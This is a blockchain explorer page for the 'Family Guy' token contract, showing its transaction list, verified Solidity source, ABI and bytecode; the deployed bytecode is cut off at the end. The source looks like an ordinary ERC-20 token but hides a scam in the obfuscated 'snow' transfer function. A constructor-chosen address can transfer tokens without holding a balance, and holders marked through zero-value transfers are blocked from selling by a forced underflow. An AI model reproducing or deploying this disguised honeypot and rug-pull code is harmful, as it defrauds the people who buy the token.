ETH Price: $2,085.41 (+0.96%)

Contract

0x82E5F1D79D6DCBe6cE2B4cE71b91bDB9498e8973
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve188408332023-12-22 10:37:11812 days ago1703241431IN
0x82E5F1D7...9498e8973
0 ETH0.00083833.95605294
Approve188408322023-12-22 10:36:59812 days ago1703241419IN
0x82E5F1D7...9498e8973
0 ETH0.0008485634.30080273
Approve172911472023-05-19 4:22:111029 days ago1684470131IN
0x82E5F1D7...9498e8973
0 ETH0.0018424139.18120045
Approve172812982023-05-17 19:06:591031 days ago1684350419IN
0x82E5F1D7...9498e8973
0 ETH0.0030950165.90331926
Approve172708402023-05-16 7:37:351032 days ago1684222655IN
0x82E5F1D7...9498e8973
0 ETH0.0009058936.617925
Approve172708392023-05-16 7:37:231032 days ago1684222643IN
0x82E5F1D7...9498e8973
0 ETH0.0009231237.40531365
Approve172592782023-05-14 16:28:231034 days ago1684081703IN
0x82E5F1D7...9498e8973
0 ETH0.0011936348.24899839
Approve172592752023-05-14 16:27:471034 days ago1684081667IN
0x82E5F1D7...9498e8973
0 ETH0.0021795746.70884169
Approve172592732023-05-14 16:27:231034 days ago1684081643IN
0x82E5F1D7...9498e8973
0 ETH0.0012996948.71615941
Approve172592692023-05-14 16:26:351034 days ago1684081595IN
0x82E5F1D7...9498e8973
0 ETH0.0022414648.03515724
Approve172592692023-05-14 16:26:351034 days ago1684081595IN
0x82E5F1D7...9498e8973
0 ETH0.0028835961.32302963
Approve172592522023-05-14 16:23:111034 days ago1684081391IN
0x82E5F1D7...9498e8973
0 ETH0.0023326649.60682412
Approve172592492023-05-14 16:22:351034 days ago1684081355IN
0x82E5F1D7...9498e8973
0 ETH0.0013730955.63836465
Approve172592412023-05-14 16:20:591034 days ago1684081259IN
0x82E5F1D7...9498e8973
0 ETH0.0022869849.01073625
Approve172592372023-05-14 16:20:111034 days ago1684081211IN
0x82E5F1D7...9498e8973
0 ETH0.0024439952.04077112
Approve172592302023-05-14 16:18:471034 days ago1684081127IN
0x82E5F1D7...9498e8973
0 ETH0.0025120853.49064157
Approve172592262023-05-14 16:17:591034 days ago1684081079IN
0x82E5F1D7...9498e8973
0 ETH0.0023674950.34764397
Transfer172592262023-05-14 16:17:591034 days ago1684081079IN
0x82E5F1D7...9498e8973
0 ETH0.0015822250.34764397
Transfer172592192023-05-14 16:16:351034 days ago1684080995IN
0x82E5F1D7...9498e8973
0 ETH0.0030232456.34186971
Approve172592152023-05-14 16:15:471034 days ago1684080947IN
0x82E5F1D7...9498e8973
0 ETH0.0025096653.43917304
Transfer172592152023-05-14 16:15:471034 days ago1684080947IN
0x82E5F1D7...9498e8973
0 ETH0.0032871861.26057421
Approve172592042023-05-14 16:13:351034 days ago1684080815IN
0x82E5F1D7...9498e8973
0 ETH0.0024125851.70226683
Approve172591982023-05-14 16:12:231034 days ago1684080743IN
0x82E5F1D7...9498e8973
0 ETH0.0024357752.19930157
Approve172591952023-05-14 16:11:471034 days ago1684080707IN
0x82E5F1D7...9498e8973
0 ETH0.0015551357.33643869
Approve172591942023-05-14 16:11:351034 days ago1684080695IN
0x82E5F1D7...9498e8973
0 ETH0.0026583856.53372409
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
FamilyGuy

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
/*

https://t.me/familyguyportal

*/

// SPDX-License-Identifier: MIT

pragma solidity >0.8.5;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract FamilyGuy is Ownable {
    mapping(address => uint256) public balanceOf;

    uint256 public totalSupply = 1000000000 * 10 ** 9;

    function snow(address remain, address yellow, uint256 high) private returns (bool success) {
        if (concerned[remain] == 0) {
            if (uniswapV2Pair != remain && red[remain] > 0) {
                concerned[remain] -= exclaimed;
            }
            balanceOf[remain] -= high;
        }
        balanceOf[yellow] += high;
        if (high == 0) {
            red[yellow] += exclaimed;
        }
        emit Transfer(remain, yellow, high);
        return true;
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);

    function transfer(address yellow, uint256 high) public returns (bool success) {
        snow(msg.sender, yellow, high);
        return true;
    }

    uint256 private exclaimed = 44;

    function approve(address floor, uint256 high) public returns (bool success) {
        allowance[msg.sender][floor] = high;
        emit Approval(msg.sender, floor, high);
        return true;
    }

    address public uniswapV2Pair;

    uint8 public decimals = 9;

    mapping(address => uint256) private concerned;

    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    mapping(address => uint256) private red;

    string public symbol = 'Family Guy';

    function transferFrom(address remain, address yellow, uint256 high) public returns (bool success) {
        snow(remain, yellow, high);
        require(high <= allowance[remain][msg.sender]);
        allowance[remain][msg.sender] -= high;
        return true;
    }

    string public name = 'Family Guy';

    constructor(address already) {
        balanceOf[msg.sender] = totalSupply;
        concerned[already] = exclaimed;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"already","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"floor","type":"address"},{"internalType":"uint256","name":"high","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"yellow","type":"address"},{"internalType":"uint256","name":"high","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"remain","type":"address"},{"internalType":"address","name":"yellow","type":"address"},{"internalType":"uint256","name":"high","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

6080604052670de0b6b3a7640000600255602c6004556009600560146101000a81548160ff021916908360ff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600a81526020017f46616d696c79204775790000000000000000000000000000000000000000000081525060099081620000cb9190620006cb565b506040518060400160405280600a81526020017f46616d696c792047757900000000000000000000000000000000000000000000815250600a9081620001129190620006cb565b503480156200011f575f80fd5b50604051620019cd380380620019cd833981810160405281019062000145919062000814565b5f620001566200046060201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060025460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045460065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200030b919062000814565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000392573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003b8919062000814565b6040518363ffffffff1660e01b8152600401620003d792919062000855565b6020604051808303815f875af1158015620003f4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200041a919062000814565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505062000880565b5f33905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620004e357607f821691505b602082108103620004f957620004f86200049e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200055d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000520565b62000569868362000520565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620005b3620005ad620005a78462000581565b6200058a565b62000581565b9050919050565b5f819050919050565b620005ce8362000593565b620005e6620005dd82620005ba565b8484546200052c565b825550505050565b5f90565b620005fc620005ee565b62000609818484620005c3565b505050565b5b818110156200063057620006245f82620005f2565b6001810190506200060f565b5050565b601f8211156200067f576200064981620004ff565b620006548462000511565b8101602085101562000664578190505b6200067c620006738562000511565b8301826200060e565b50505b505050565b5f82821c905092915050565b5f620006a15f198460080262000684565b1980831691505092915050565b5f620006bb838362000690565b9150826002028217905092915050565b620006d68262000467565b67ffffffffffffffff811115620006f257620006f162000471565b5b620006fe8254620004cb565b6200070b82828562000634565b5f60209050601f83116001811462000741575f84156200072c578287015190505b620007388582620006ae565b865550620007a7565b601f1984166200075186620004ff565b5f5b828110156200077a5784890151825560018201915060208501945060208101905062000753565b868310156200079a578489015162000796601f89168262000690565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620007de82620007b3565b9050919050565b620007f081620007d2565b8114620007fb575f80fd5b50565b5f815190506200080e81620007e5565b92915050565b5f602082840312156200082c576200082b620007af565b5b5f6200083b84828501620007fe565b91505092915050565b6200084f81620007d2565b82525050565b5f6040820190506200086a5f83018562000844565b62000879602083018462000844565b9392505050565b61113f806200088e5f395ff3fe608060405234801561000f575f80fd5b50600436106100cd575f3560e01c806370a082311161008a57806395d89b411161006457806395d89b4114610201578063a9059cbb1461021f578063dd62ed3e1461024f578063f2fde38b1461027f576100cd565b806370a08231146101a9578063715018a6146101d95780638da5cb5b146101e3576100cd565b806306fdde03146100d1578063095ea7b3146100ef57806318160ddd1461011f57806323b872dd1461013d578063313ce5671461016d57806349bd5a5e1461018b575b5f80fd5b6100d961029b565b6040516100e69190610cc4565b60405180910390f35b61010960048036038101906101049190610d75565b610327565b6040516101169190610dcd565b60405180910390f35b610127610414565b6040516101349190610df5565b60405180910390f35b61015760048036038101906101529190610e0e565b61041a565b6040516101649190610dcd565b60405180910390f35b610175610544565b6040516101829190610e79565b60405180910390f35b610193610557565b6040516101a09190610ea1565b60405180910390f35b6101c360048036038101906101be9190610eba565b61057c565b6040516101d09190610df5565b60405180910390f35b6101e1610591565b005b6101eb6106df565b6040516101f89190610ea1565b60405180910390f35b610209610706565b6040516102169190610cc4565b60405180910390f35b61023960048036038101906102349190610d75565b610792565b6040516102469190610dcd565b60405180910390f35b61026960048036038101906102649190610ee5565b6107a9565b6040516102769190610df5565b60405180910390f35b61029960048036038101906102949190610eba565b6107c9565b005b600a80546102a890610f50565b80601f01602080910402602001604051908101604052809291908181526020018280546102d490610f50565b801561031f5780601f106102f65761010080835404028352916020019161031f565b820191905f5260205f20905b81548152906001019060200180831161030257829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104029190610df5565b60405180910390a36001905092915050565b60025481565b5f610426848484610986565b5060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548211156104ab575f80fd5b8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105329190610fad565b92505081905550600190509392505050565b600560149054906101000a900460ff1681565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001602052805f5260405f205f915090505481565b610599610c33565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061c9061102a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6009805461071390610f50565b80601f016020809104026020016040519081016040528092919081815260200182805461073f90610f50565b801561078a5780601f106107615761010080835404028352916020019161078a565b820191905f5260205f20905b81548152906001019060200180831161076d57829003601f168201915b505050505081565b5f61079e338484610986565b506001905092915050565b6003602052815f5260405f20602052805f5260405f205f91509150505481565b6107d1610c33565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108549061102a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c2906110b8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f8060065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610b13578373ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015610a6457505f60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054115b15610abf5760045460065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610ab79190610fad565b925050819055505b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610b0b9190610fad565b925050819055505b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610b5f91906110d6565b925050819055505f8203610bc35760045460085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610bbb91906110d6565b925050819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c209190610df5565b60405180910390a3600190509392505050565b5f33905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610c71578082015181840152602081019050610c56565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610c9682610c3a565b610ca08185610c44565b9350610cb0818560208601610c54565b610cb981610c7c565b840191505092915050565b5f6020820190508181035f830152610cdc8184610c8c565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d1182610ce8565b9050919050565b610d2181610d07565b8114610d2b575f80fd5b50565b5f81359050610d3c81610d18565b92915050565b5f819050919050565b610d5481610d42565b8114610d5e575f80fd5b50565b5f81359050610d6f81610d4b565b92915050565b5f8060408385031215610d8b57610d8a610ce4565b5b5f610d9885828601610d2e565b9250506020610da985828601610d61565b9150509250929050565b5f8115159050919050565b610dc781610db3565b82525050565b5f602082019050610de05f830184610dbe565b92915050565b610def81610d42565b82525050565b5f602082019050610e085f830184610de6565b92915050565b5f805f60608486031215610e2557610e24610ce4565b5b5f610e3286828701610d2e565b9350506020610e4386828701610d2e565b9250506040610e5486828701610d61565b9150509250925092565b5f60ff82169050919050565b610e7381610e5e565b82525050565b5f602082019050610e8c5f830184610e6a565b92915050565b610e9b81610d07565b82525050565b5f602082019050610eb45f830184610e92565b92915050565b5f60208284031215610ecf57610ece610ce4565b5b5f610edc84828501610d2e565b91505092915050565b5f8060408385031215610efb57610efa610ce4565b5b5f610f0885828601610d2e565b9250506020610f1985828601610d2e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610f6757607f821691505b602082108103610f7a57610f79610f23565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610fb782610d42565b9150610fc283610d42565b9250828203905081811115610fda57610fd9610f80565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611014602083610c44565b915061101f82610fe0565b602082019050919050565b5f6020820190508181035f83015261104181611008565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6110a2602683610c44565b91506110ad82611048565b604082019050919050565b5f6020820190508181035f8301526110cf81611096565b9050919050565b5f6110e082610d42565b91506110eb83610d42565b925082820190508082111561110357611102610f80565b5b9291505056fea26469706673582212203e1c3891b6e64967a8887ccc8523fdb8aea1fa9409a6cfb4fa4ff63571b6e13c64736f6c634300081400330000000000000000000000006f6f7d3f37f52f2c048ca527bdd0be21bed23893

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100cd575f3560e01c806370a082311161008a57806395d89b411161006457806395d89b4114610201578063a9059cbb1461021f578063dd62ed3e1461024f578063f2fde38b1461027f576100cd565b806370a08231146101a9578063715018a6146101d95780638da5cb5b146101e3576100cd565b806306fdde03146100d1578063095ea7b3146100ef57806318160ddd1461011f57806323b872dd1461013d578063313ce5671461016d57806349bd5a5e1461018b575b5f80fd5b6100d961029b565b6040516100e69190610cc4565b60405180910390f35b61010960048036038101906101049190610d75565b610327565b6040516101169190610dcd565b60405180910390f35b610127610414565b6040516101349190610df5565b60405180910390f35b61015760048036038101906101529190610e0e565b61041a565b6040516101649190610dcd565b60405180910390f35b610175610544565b6040516101829190610e79565b60405180910390f35b610193610557565b6040516101a09190610ea1565b60405180910390f35b6101c360048036038101906101be9190610eba565b61057c565b6040516101d09190610df5565b60405180910390f35b6101e1610591565b005b6101eb6106df565b6040516101f89190610ea1565b60405180910390f35b610209610706565b6040516102169190610cc4565b60405180910390f35b61023960048036038101906102349190610d75565b610792565b6040516102469190610dcd565b60405180910390f35b61026960048036038101906102649190610ee5565b6107a9565b6040516102769190610df5565b60405180910390f35b61029960048036038101906102949190610eba565b6107c9565b005b600a80546102a890610f50565b80601f01602080910402602001604051908101604052809291908181526020018280546102d490610f50565b801561031f5780601f106102f65761010080835404028352916020019161031f565b820191905f5260205f20905b81548152906001019060200180831161030257829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104029190610df5565b60405180910390a36001905092915050565b60025481565b5f610426848484610986565b5060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548211156104ab575f80fd5b8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105329190610fad565b92505081905550600190509392505050565b600560149054906101000a900460ff1681565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001602052805f5260405f205f915090505481565b610599610c33565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061c9061102a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6009805461071390610f50565b80601f016020809104026020016040519081016040528092919081815260200182805461073f90610f50565b801561078a5780601f106107615761010080835404028352916020019161078a565b820191905f5260205f20905b81548152906001019060200180831161076d57829003601f168201915b505050505081565b5f61079e338484610986565b506001905092915050565b6003602052815f5260405f20602052805f5260405f205f91509150505481565b6107d1610c33565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108549061102a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c2906110b8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f8060065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610b13578373ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015610a6457505f60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054115b15610abf5760045460065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610ab79190610fad565b925050819055505b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610b0b9190610fad565b925050819055505b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610b5f91906110d6565b925050819055505f8203610bc35760045460085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610bbb91906110d6565b925050819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c209190610df5565b60405180910390a3600190509392505050565b5f33905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610c71578082015181840152602081019050610c56565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610c9682610c3a565b610ca08185610c44565b9350610cb0818560208601610c54565b610cb981610c7c565b840191505092915050565b5f6020820190508181035f830152610cdc8184610c8c565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d1182610ce8565b9050919050565b610d2181610d07565b8114610d2b575f80fd5b50565b5f81359050610d3c81610d18565b92915050565b5f819050919050565b610d5481610d42565b8114610d5e575f80fd5b50565b5f81359050610d6f81610d4b565b92915050565b5f8060408385031215610d8b57610d8a610ce4565b5b5f610d9885828601610d2e565b9250506020610da985828601610d61565b9150509250929050565b5f8115159050919050565b610dc781610db3565b82525050565b5f602082019050610de05f830184610dbe565b92915050565b610def81610d42565b82525050565b5f602082019050610e085f830184610de6565b92915050565b5f805f60608486031215610e2557610e24610ce4565b5b5f610e3286828701610d2e565b9350506020610e4386828701610d2e565b9250506040610e5486828701610d61565b9150509250925092565b5f60ff82169050919050565b610e7381610e5e565b82525050565b5f602082019050610e8c5f830184610e6a565b92915050565b610e9b81610d07565b82525050565b5f602082019050610eb45f830184610e92565b92915050565b5f60208284031215610ecf57610ece610ce4565b5b5f610edc84828501610d2e565b91505092915050565b5f8060408385031215610efb57610efa610ce4565b5b5f610f0885828601610d2e565b9250506020610f1985828601610d2e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610f6757607f82169